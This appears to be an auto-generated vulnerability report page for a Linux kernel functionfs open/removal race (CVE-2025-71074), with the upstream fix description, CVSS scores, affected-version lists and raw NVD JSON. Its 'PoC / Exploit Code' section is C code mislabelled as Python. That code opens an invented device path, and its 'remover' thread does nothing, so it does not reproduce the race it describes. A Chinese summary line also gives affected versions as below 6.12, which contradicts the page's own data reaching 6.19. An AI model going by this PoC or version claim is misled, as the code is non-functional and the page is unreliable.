Security Vulnerability Report
中文
CVE-2025-71074 CVSS 4.7 MEDIUM

CVE-2025-71074

Published: 2026-01-13 16:16:07
Last Modified: 2026-03-25 19:03:29
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: functionfs: fix the open/removal races ffs_epfile_open() can race with removal, ending up with file->private_data pointing to freed object. There is a total count of opened files on functionfs (both ep0 and dynamic ones) and when it hits zero, dynamic files get removed. Unfortunately, that removal can happen while another thread is in ffs_epfile_open(), but has not incremented the count yet. In that case open will succeed, leaving us with UAF on any subsequent read() or write(). The root cause is that ffs->opened is misused; atomic_dec_and_test() vs. atomic_add_return() is not a good idea, when object remains visible all along. To untangle that * serialize openers on ffs->mutex (both for ep0 and for dynamic files) * have dynamic ones use atomic_inc_not_zero() and fail if we had zero ->opened; in that case the file we are opening is doomed. * have the inodes of dynamic files marked on removal (from the callback of simple_recursive_removal()) - clear ->i_private there. * have open of dynamic ones verify they hadn't been already removed, along with checking that state is FFS_ACTIVE.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:2.6.35:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.12 (未修复版本)
Linux Kernel 6.x分支受影响
使用functionfs子系统的USB Gadget配置受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC概念验证代码(模拟竞态条件) #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #define VULN_DEVICE "/dev/usb_functionfs" void* opener_thread(void* arg) { // 线程1: 尝试打开functionfs设备 int fd = open(VULN_DEVICE, O_RDWR); if (fd >= 0) { // 在文件描述符上执行操作,触发UAF char buf[64]; read(fd, buf, sizeof(buf)); // 可能访问已释放内存 write(fd, "test", 4); close(fd); } return NULL; } void* remover_thread(void* arg) { // 线程2: 触发文件移除(等待计数归零) usleep(100); // 微调时序 // 模拟移除操作,使opened计数归零 // 在实际漏洞中,这会导致ffs_epfile_io_release被调用 return NULL; } int main() { pthread_t t1, t2; // 创建竞态条件 pthread_create(&t1, NULL, opener_thread, NULL); pthread_create(&t2, NULL, remover_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("PoC执行完成\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71074", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:06.860", "lastModified": "2026-03-25T19:03:28.900", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfunctionfs: fix the open/removal races\n\nffs_epfile_open() can race with removal, ending up with file->private_data\npointing to freed object.\n\nThere is a total count of opened files on functionfs (both ep0 and\ndynamic ones) and when it hits zero, dynamic files get removed.\nUnfortunately, that removal can happen while another thread is\nin ffs_epfile_open(), but has not incremented the count yet.\nIn that case open will succeed, leaving us with UAF on any subsequent\nread() or write().\n\nThe root cause is that ffs->opened is misused; atomic_dec_and_test() vs.\natomic_add_return() is not a good idea, when object remains visible all\nalong.\n\nTo untangle that\n\t* serialize openers on ffs->mutex (both for ep0 and for dynamic files)\n\t* have dynamic ones use atomic_inc_not_zero() and fail if we had\nzero ->opened; in that case the file we are opening is doomed.\n\t* have the inodes of dynamic files marked on removal (from the\ncallback of simple_recursive_removal()) - clear ->i_private there.\n\t* have open of dynamic ones verify they hadn't been already removed,\nalong with checking that state is FFS_ACTIVE."}, {"lang": "es", "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad:\n\nfunctionfs: corregir las condiciones de carrera de apertura/eliminación\n\nffs_epfile_open() puede entrar en condición de carrera con la eliminación, lo que resulta en que file-&gt;private_data apunte a un objeto liberado.\n\nExiste un recuento total de archivos abiertos en functionfs (tanto ep0 como los dinámicos) y cuando llega a cero, los archivos dinámicos se eliminan. Desafortunadamente, esa eliminación puede ocurrir mientras otro hilo está en ffs_epfile_open(), pero aún no ha incrementado el recuento. En ese caso, la apertura tendrá éxito, dejándonos con UAF en cualquier read() o write() posterior.\n\nLa causa raíz es que ffs-&gt;opened se utiliza incorrectamente; atomic_dec_and_test() frente a atomic_add_return() no es una buena idea cuando el objeto permanece visible todo el tiempo.\n\nPara desenredar eso\n* serializar los abridores en ffs-&gt;mutex (tanto para ep0 como para archivos dinámicos)\n* hacer que los dinámicos usen atomic_inc_not_zero() y fallen si teníamos cero -&gt;opened; en ese caso, el archivo que estamos abriendo está condenado.\n* hacer que los inodos de los archivos dinámicos se marquen al eliminarse (desde la devolución de llamada de simple_recursive_removal()) - borrar -&gt;i_private allí.\n* hacer que la apertura de los dinámicos verifique que no hayan sido ya eliminados, junto con la comprobación de que el estado es FFS_ACTIVE."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.35.1", "versionEndExcluding": "6.19", "matchCriteriaId": "7F5B9532-DC73-487B-B269-082C453A67EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.35:-:*:*:*:*:*:*", "matchCriteriaId": "11B11B98-42CE-41C8-A40E-FAA230FD2A76"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A ... (truncated)